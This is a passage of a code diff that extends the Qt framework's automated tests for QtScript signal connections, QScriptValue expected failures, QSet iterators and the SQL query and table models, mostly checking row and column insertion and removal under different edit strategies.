@@ -2022,7 +2051,10 @@ void tst_QScriptExtQObject::connectAndDisconnect()
QCOMPARE(m_myObject->qtFunctionActuals().size(), 1);
QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 456);
QVERIFY(m_engine->evaluate("myObject.mySignalWithIntArg.disconnect(myObject['myOverloadedSlot(int)'])").isUndefined());
+}
+void tst_QScriptExtQObject::connectAndDisconnect_senderWrapperCollected()
+{
// when the wrapper dies, the connection stays alive
QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined());
m_myObject->resetQtFunctionInvoked();
@@ -2210,7 +2242,14 @@ void tst_QScriptExtQObject::cppConnectAndDisconnect()
QVERIFY(!qScriptDisconnect(&edit2, SIGNAL(textChanged(const QString &)), receiver, fun));
}
}
+}
+void tst_QScriptExtQObject::cppConnectAndDisconnect2()
+{
+ QScriptEngine eng;
+ QLineEdit edit;
+ QLineEdit edit2;
+ QScriptValue fun = eng.evaluate("function fun(text) { signalObject = this; signalArg = text; }; fun");
// make sure we don't crash when engine is deleted
{
QScriptEngine *eng2 = new QScriptEngine;
diff --git a/tests/auto/qscriptvalue/tst_qscriptvalue.cpp b/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
index b302eba..9014241 100644
--- a/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
+++ b/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
@@ -1889,7 +1889,7 @@ void tst_QScriptValue::getSetProperty_gettersAndSetters()
QCOMPARE(object.propertyFlags("foo") & ~QScriptValue::UserRange,
QScriptValue::PropertyGetter );
- QEXPECT_FAIL("", "User-range flags are not retained for getter/setter properties", Continue);
+ QEXPECT_FAIL("", "QTBUG-17615: User-range flags are not retained for getter/setter properties", Continue);
QCOMPARE(object.propertyFlags("foo"),
QScriptValue::PropertyGetter | QScriptValue::UserRange);
object.setProperty("x", num);
@@ -2004,10 +2004,10 @@ void tst_QScriptValue::getSetProperty_gettersAndSettersThrowErrorJS()
QScriptValue object = eng.evaluate("o");
QVERIFY(!eng.hasUncaughtException());
QScriptValue ret = object.property("foo");
- QEXPECT_FAIL("", "Exception thrown from js function are not returned by the JSC port", Continue);
+ QEXPECT_FAIL("", "QTBUG-17616: Exception thrown from js function are not returned by the JSC port", Continue);
QVERIFY(ret.isError());
QVERIFY(eng.hasUncaughtException());
- QEXPECT_FAIL("", "Exception thrown from js function are not returned by the JSC port", Continue);
+ QEXPECT_FAIL("", "QTBUG-17616: Exception thrown from js function are not returned by the JSC port", Continue);
QVERIFY(ret.strictlyEquals(eng.uncaughtException()));
QCOMPARE(eng.uncaughtException().toString(), QLatin1String("Error: get foo"));
eng.evaluate("Object"); // clear exception state...
@@ -2185,9 +2185,9 @@ void tst_QScriptValue::getSetProperty()
}
// should still be deletable from C++
object.setProperty("undeletableProperty", QScriptValue());
- QEXPECT_FAIL("", "With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
+ QEXPECT_FAIL("", "QTBUG-17617: With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
QVERIFY(!object.property("undeletableProperty").isValid());
- QEXPECT_FAIL("", "With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
+ QEXPECT_FAIL("", "QTBUG-17617: With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
QCOMPARE(object.propertyFlags("undeletableProperty"), 0);
// SkipInEnumeration
diff --git a/tests/auto/qset/tst_qset.cpp b/tests/auto/qset/tst_qset.cpp
index ae293db..c28b683 100644
--- a/tests/auto/qset/tst_qset.cpp
+++ b/tests/auto/qset/tst_qset.cpp
@@ -39,6 +39,7 @@
**
****************************************************************************/
+//#define QT_STRICT_ITERATORS
#include <QtTest/QtTest>
#include <qset.h>
@@ -826,6 +827,16 @@ void tst_QSet::javaMutableIterator()
int sum = 0;
QMutableSetIterator<QString> i(set1);
while (i.hasNext()) {
+ i.next();
+ sum += toNumber(i.value());
+ }
+ QVERIFY(sum == 24999 * 25000 / 2);
+ }
+
+ {
+ int sum = 0;
+ QMutableSetIterator<QString> i(set1);
+ while (i.hasNext()) {
sum += toNumber(i.peekNext());
i.next();
}
diff --git a/tests/auto/qsqldatabase/tst_databases.h b/tests/auto/qsqldatabase/tst_databases.h
index 5dcf754..350e0d0 100644
--- a/tests/auto/qsqldatabase/tst_databases.h
+++ b/tests/auto/qsqldatabase/tst_databases.h
@@ -51,6 +51,7 @@
#include <QDir>
#include <QVariant>
#include <QDebug>
+#include <QSqlTableModel>
#include <QtTest/QtTest>
@@ -166,6 +167,29 @@ public:
return count;
}
+ int fillTestTableWithStrategies( const QString& driverPrefix = QString() ) const
+ {
+ QTest::addColumn<QString>( "dbName" );
+ QTest::addColumn<int>("submitpolicy_i");
+ int count = 0;
+
+ for ( int i = 0; i < dbNames.count(); ++i ) {
+ QSqlDatabase db = QSqlDatabase::database( dbNames.at( i ) );
+
+ if ( !db.isValid() )
+ continue;
+
+ if ( driverPrefix.isEmpty() || db.driverName().startsWith( driverPrefix ) ) {
+ QTest::newRow( QString("%1 [field]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnFieldChange;
+ QTest::newRow( QString("%1 [row]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnRowChange;
+ QTest::newRow( QString("%1 [manual]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnManualSubmit;
+ ++count;
+ }
+ }
+
+ return count;
+ }
+
void addDb( const QString& driver, const QString& dbName,
const QString& user = QString(), const QString& passwd = QString(),
const QString& host = QString(), int port = -1, const QString params = QString() )
diff --git a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
index 0ca1417..e876764 100644
--- a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
+++ b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
@@ -318,6 +318,11 @@ void tst_QSqlQueryModel::insertColumn()
model.setQuery(QSqlQuery("select * from " + qTableName("test", __FILE__), db));
model.fetchMore(); // necessary???
+ bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2");
+ const QString idColumn(isToUpper ? "ID" : "id");
+ const QString nameColumn(isToUpper ? "NAME" : "name");
+ const QString titleColumn(isToUpper ? "TITLE" : "title");
+
QSignalSpy spy(&model, SIGNAL(columnsInserted(QModelIndex, int, int)));
QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
@@ -325,6 +330,11 @@ void tst_QSqlQueryModel::insertColumn()
QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
QCOMPARE(model.data(model.index(0, 3)), QVariant());
+ QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn);
+ QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), nameColumn);
+ QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), titleColumn);
+ QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), QString("4"));
+
QVERIFY(model.insertColumn(1));
QCOMPARE(spy.count(), 1);
@@ -344,6 +354,12 @@ void tst_QSqlQueryModel::insertColumn()
QCOMPARE(model.data(model.index(0, 3)).toInt(), 1);
QCOMPARE(model.data(model.index(0, 4)), QVariant());
+ QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn);
+ QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), QString("2"));
+ QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), nameColumn);
+ QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), titleColumn);
+ QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), QString("5"));
+
QVERIFY(!model.insertColumn(-1));
QVERIFY(!model.insertColumn(100));
QVERIFY(!model.insertColumn(1, model.index(1, 1)));
@@ -378,14 +394,21 @@ void tst_QSqlQueryModel::insertColumn()
QCOMPARE(model.indexInQuery(model.index(0, 5)).column(), -1);
QCOMPARE(model.indexInQuery(model.index(0, 6)).column(), -1);
- bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2");
QCOMPARE(model.record().field(0).name(), QString());
- QCOMPARE(model.record().field(1).name(), isToUpper ? QString("ID") : QString("id"));
+ QCOMPARE(model.record().field(1).name(), idColumn);
QCOMPARE(model.record().field(2).name(), QString());
- QCOMPARE(model.record().field(3).name(), isToUpper ? QString("NAME") : QString("name"));
- QCOMPARE(model.record().field(4).name(), isToUpper ? QString("TITLE") : QString("title"));
+ QCOMPARE(model.record().field(3).name(), nameColumn);
+ QCOMPARE(model.record().field(4).name(), titleColumn);
QCOMPARE(model.record().field(5).name(), QString());
QCOMPARE(model.record().field(6).name(), QString());
+
+ QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), QString("1"));
+ QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), idColumn);
+ QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), QString("3"));
+ QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), nameColumn);
+ QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), titleColumn);
+ QCOMPARE(model.headerData(5, Qt::Horizontal).toString(), QString("6"));
+ QCOMPARE(model.headerData(6, Qt::Horizontal).toString(), QString("7"));
}
void tst_QSqlQueryModel::record()
diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
index f9fcaf0..bf68375 100644
--- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
+++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
@@ -78,11 +78,13 @@ private slots:
void select_data() { generic_data(); }
void select();
+ void insertColumns_data() { generic_data_with_strategies(); }
+ void insertColumns();
void submitAll_data() { generic_data(); }
void submitAll();
void setRecord_data() { generic_data(); }
void setRecord();
- void insertRow_data() { generic_data(); }
+ void insertRow_data() { generic_data_with_strategies(); }
void insertRow();
void insertRecord_data() { generic_data(); }
void insertRecord();
@@ -92,8 +94,10 @@ private slots:
void removeRow();
void removeRows_data() { generic_data(); }
void removeRows();
- void removeInsertedRow_data() { generic_data(); }
+ void removeInsertedRow_data() { generic_data_with_strategies(); }
void removeInsertedRow();
+ void removeInsertedRows_data() { generic_data(); }
+ void removeInsertedRows();
void setFilter_data() { generic_data(); }
void setFilter();
void setInvalidFilter_data() { generic_data(); }
@@ -130,6 +134,7 @@ private slots:
void insertBeforeDelete();
private:
void generic_data(const QString& engine=QString());
+ void generic_data_with_strategies(const QString& engine=QString());
};
tst_QSqlTableModel::tst_QSqlTableModel()
@@ -227,7 +232,17 @@ void tst_QSqlTableModel::recreateTestTables()
void tst_QSqlTableModel::generic_data(const QString &engine)
{
if ( dbs.fillTestTable(engine) == 0 ) {
- if(engine.isEmpty())
+ if (engine.isEmpty())
+ QSKIP( "No database drivers are available in this Qt configuration", SkipAll );
+ else
+ QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll );
+ }
+}
+
+void tst_QSqlTableModel::generic_data_with_strategies(const QString &engine)
+{
+ if ( dbs.fillTestTableWithStrategies(engine) == 0 ) {
+ if (engine.isEmpty())
QSKIP( "No database drivers are available in this Qt configuration", SkipAll );
else
QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll );
@@ -289,6 +304,81 @@ void tst_QSqlTableModel::select()
QCOMPARE(model.data(model.index(3, 3)), QVariant());
}
+void tst_QSqlTableModel::insertColumns()
+{
+ // Just like the select test, with extra stuff
+ QFETCH(QString, dbName);
+ QFETCH(int, submitpolicy_i);
+ QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
+ QSqlDatabase db = QSqlDatabase::database(dbName);
+ CHECK_DATABASE(db);
+
+ QSqlTableModel model(0, db);
+ model.setTable(test);
+ model.setSort(0, Qt::AscendingOrder);
+ model.setEditStrategy(submitpolicy);
+
+ QVERIFY_SQL(model, select());
+
+ QCOMPARE(model.rowCount(), 3);
+ QCOMPARE(model.columnCount(), 3);
+
+ QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 3)), QVariant());
+
+ QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 3)), QVariant());
+
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 3)), QVariant());
+
+ QCOMPARE(model.data(model.index(3, 0)), QVariant());
+ QCOMPARE(model.data(model.index(3, 1)), QVariant());
+ QCOMPARE(model.data(model.index(3, 2)), QVariant());
+ QCOMPARE(model.data(model.index(3, 3)), QVariant());
+
+ // Now add a column at 0 and 2
+ model.insertColumn(0);
+ model.insertColumn(2);
+
+ QCOMPARE(model.rowCount(), 3);
+ QCOMPARE(model.columnCount(), 5);
+
+ QCOMPARE(model.data(model.index(0, 0)), QVariant());
+ QCOMPARE(model.data(model.index(0, 1)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 2)), QVariant());
+ QCOMPARE(model.data(model.index(0, 3)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 4)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 5)), QVariant());
+
+ QCOMPARE(model.data(model.index(1, 0)), QVariant());
+ QCOMPARE(model.data(model.index(1, 1)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 2)), QVariant());
+ QCOMPARE(model.data(model.index(1, 3)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 4)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 5)), QVariant());
+
+ QCOMPARE(model.data(model.index(2, 0)), QVariant());
+ QCOMPARE(model.data(model.index(2, 1)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 2)), QVariant());
+ QCOMPARE(model.data(model.index(2, 3)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(2, 4)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 5)), QVariant());
+
+ QCOMPARE(model.data(model.index(3, 0)), QVariant());
+ QCOMPARE(model.data(model.index(3, 1)), QVariant());
+ QCOMPARE(model.data(model.index(3, 2)), QVariant());
+ QCOMPARE(model.data(model.index(3, 3)), QVariant());
+ QCOMPARE(model.data(model.index(3, 4)), QVariant());
+ QCOMPARE(model.data(model.index(3, 5)), QVariant());
+}
+
void tst_QSqlTableModel::setRecord()
{
QFETCH(QString, dbName);
@@ -314,9 +404,14 @@ void tst_QSqlTableModel::setRecord()
rec.setValue(2, rec.value(2).toString() + 'X');
QVERIFY(model.setRecord(i, rec));
- if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit)
+ if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) {
+ // setRecord should emit dataChanged() itself for manualSubmit
+ QCOMPARE(spy.count(), 1);
+ QCOMPARE(spy.at(0).count(), 2);
+ QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(0)), model.index(i, 0));
+ QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(1)), model.index(i, rec.count() - 1));
QVERIFY(model.submitAll());
- else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1)
+ } else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1)
model.submit();
else {
// dataChanged() is not emitted when submitAll() is called
@@ -339,26 +434,90 @@ void tst_QSqlTableModel::setRecord()
void tst_QSqlTableModel::insertRow()
{
QFETCH(QString, dbName);
+ QFETCH(int, submitpolicy_i);
+ QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
QSqlDatabase db = QSqlDatabase::database(dbName);
CHECK_DATABASE(db);
QSqlTableModel model(0, db);
- model.setEditStrategy(QSqlTableModel::OnRowChange);
+ model.setEditStrategy(submitpolicy);
model.setTable(test);
model.setSort(0, Qt::AscendingOrder);
QVERIFY_SQL(model, select());
+ QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+ QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+
QVERIFY(model.insertRow(2));
+
+ QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+ QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 0);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 0);
+ QCOMPARE(model.data(model.index(3, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(3, 2)).toInt(), 3);
+
QSqlRecord rec = model.record(1);
rec.setValue(0, 42);
- rec.setValue(1, QString("vohi"));
+ rec.setValue(1, QString("francis"));
+
+ // FieldChange updates immediately and resorts
+ // Row/Manual submit does not resort
QVERIFY(model.setRecord(2, rec));
- QCOMPARE(model.data(model.index(2, 0)).toInt(), 42);
- QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
- QCOMPARE(model.data(model.index(2, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+ QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+
+ // See comment above setRecord
+ if (submitpolicy == QSqlTableModel::OnFieldChange) {
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+ QCOMPARE(model.data(model.index(3, 0)).toInt(), 42);
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis"));
+ QCOMPARE(model.data(model.index(3, 2)).toInt(), 2);
+ } else {
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 42);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("francis"));
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(3, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(3, 2)).toInt(), 3);
+ }
QVERIFY(model.submitAll());
+
+ // After the submit we should have the resorted view
+ QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+ QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+ QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+ QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+ QCOMPARE(model.data(model.index(3, 0)).toInt(), 42);
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis"));
+ QCOMPARE(model.data(model.index(3, 2)).toInt(), 2);
+
}
void tst_QSqlTableModel::insertRecord()
@@ -538,10 +697,19 @@ void tst_QSqlTableModel::removeRows()
QCOMPARE(model.rowCount(), 3);
QSignalSpy beforeDeleteSpy(&model, SIGNAL(beforeDelete(int)));
+
+ // Make sure wrong stuff is ok
+ QVERIFY(!model.removeRows(-1,1)); // negative start
+ QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count
+ QVERIFY(!model.removeRows(1, 0)); // zero count
+ QVERIFY(!model.removeRows(5, 1)); // past end (causes a beforeDelete to be emitted)
+ QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex
+
QVERIFY_SQL(model, removeRows(0, 2));
- QVERIFY(beforeDeleteSpy.count() == 2);
- QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 0);
- QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 1);
+ QCOMPARE(beforeDeleteSpy.count(), 3);
+ QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 5);
+ QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 0);
+ QVERIFY(beforeDeleteSpy.at(2).at(0).toInt() == 1);
QCOMPARE(model.rowCount(), 1);
QCOMPARE(model.data(model.index(0, 1)).toString(), QString("vohi"));
model.clear();
@@ -555,6 +723,13 @@ void tst_QSqlTableModel::removeRows()
// When the edit strategy is OnManualSubmit the beforeDelete() signal
// isn't emitted until submitAll() is called.
+
+ QVERIFY(!model.removeRows(-1,1)); // negative start
+ QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count
+ QVERIFY(!model.removeRows(1, 0)); // zero count
+ QVERIFY(!model.removeRows(5, 1)); // past end (DOESN'T cause a beforeDelete to be emitted)
+ QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex
+
qRegisterMetaType<Qt::Orientation>("Qt::Orientation");
QSignalSpy headerDataChangedSpy(&model, SIGNAL(headerDataChanged(Qt::Orientation, int, int)));
QVERIFY(model.removeRows(0, 2, QModelIndex()));
@@ -576,33 +751,167 @@ void tst_QSqlTableModel::removeRows()
void tst_QSqlTableModel::removeInsertedRow()
{
QFETCH(QString, dbName);
+ QFETCH(int, submitpolicy_i);
+ QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
QSqlDatabase db = QSqlDatabase::database(dbName);
CHECK_DATABASE(db);
- for (int i = 0; i <= 1; ++i) {
+ QSqlTableModel model(0, db);
+ model.setTable(test);
+ model.setSort(0, Qt::AscendingOrder);
- QSqlTableModel model(0, db);
- model.setTable(test);
- model.setSort(0, Qt::AscendingOrder);
+ model.setEditStrategy(submitpolicy);
+ QVERIFY_SQL(model, select());
+ QCOMPARE(model.rowCount(), 3);
- model.setEditStrategy(i == 0
- ? QSqlTableModel::OnRowChange : QSqlTableModel::OnManualSubmit);
- QVERIFY_SQL(model, select());
- QCOMPARE(model.rowCount(), 3);
+ QVERIFY(model.insertRow(1));
+ QCOMPARE(model.rowCount(), 4);
- QVERIFY(model.insertRow(1));
- QCOMPARE(model.rowCount(), 4);
+ QVERIFY(model.removeRow(1));
+ QCOMPARE(model.rowCount(), 3);
- QVERIFY(model.removeRow(1));
- QCOMPARE(model.rowCount(), 3);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
- QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
- QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
- QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
- model.clear();
+ // Now insert a row with a null, and check that removing it also works (QTBUG-15979 etc)
+ model.insertRow(1);
+ model.setData(model.index(1,0), 55);
+ model.setData(model.index(1,1), QString("null columns"));
+ model.setData(model.index(1,2), QVariant());
- recreateTestTables();
- }
+ model.submitAll();
+
+ QCOMPARE(model.rowCount(), 4);
+ QCOMPARE(model.data(model.index(3, 0)).toInt(), 55);
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("null columns"));
+ QCOMPARE(model.data(model.index(3, 2)).isNull(), true);
+
+ QVERIFY(model.removeRow(3));
+ model.submitAll();
+ QCOMPARE(model.rowCount(), 3);
+
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+}
+
+void tst_QSqlTableModel::removeInsertedRows()
+{
+ QFETCH(QString, dbName);
+ QSqlDatabase db = QSqlDatabase::database(dbName);
+ CHECK_DATABASE(db);
+
+ QSqlTableModel model(0, db);
+ model.setTable(test);
+ model.setSort(0, Qt::AscendingOrder);
+ model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+ QVERIFY_SQL(model, select());
+ QCOMPARE(model.rowCount(), 3);
+
+ // First put two empty rows, and remove them one by one
+ QVERIFY(model.insertRows(1, 2));
+ QCOMPARE(model.rowCount(), 5);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRow(1));
+ QCOMPARE(model.rowCount(), 4);
+
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRow(1));
+ QCOMPARE(model.rowCount(), 3);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+
+ // Now put two empty rows, and remove them all at once
+ QVERIFY(model.insertRows(1, 2));
+ QCOMPARE(model.rowCount(), 5);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRows(1, 2));
+ QCOMPARE(model.rowCount(), 3);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+
+
+ // Now put two empty rows, and remove one good and two empty
+ QVERIFY(model.insertRows(1, 2));
+ QCOMPARE(model.rowCount(), 5);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRows(0, 3));
+ QVERIFY(model.submitAll()); // otherwise the remove of the real row doesn't work
+
+ QCOMPARE(model.rowCount(), 2);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
+
+ // Reset back again
+ model.clear();
+ recreateTestTables();
+ model.setTable(test);
+ model.setSort(0, Qt::AscendingOrder);
+ model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+ QVERIFY_SQL(model, select());
+ QCOMPARE(model.rowCount(), 3);
+
+ // Now two empty and one good
+ QVERIFY(model.insertRows(1, 2));
+ QCOMPARE(model.rowCount(), 5);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+ QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+ QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+ QVERIFY(model.removeRows(1, 3));
+ QVERIFY(model.submitAll());
+ QCOMPARE(model.rowCount(), 2);
+ QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+ QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
+
+ // Reset back again
+ model.clear();
+ recreateTestTables();
+ model.setTable(test);
+ model.setSort(0, Qt::AscendingOrder);
+ model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+ QVERIFY_SQL(model, select());
+ QCOMPARE(model.rowCount(), 3);
+
+ // one empty, one good, one empty
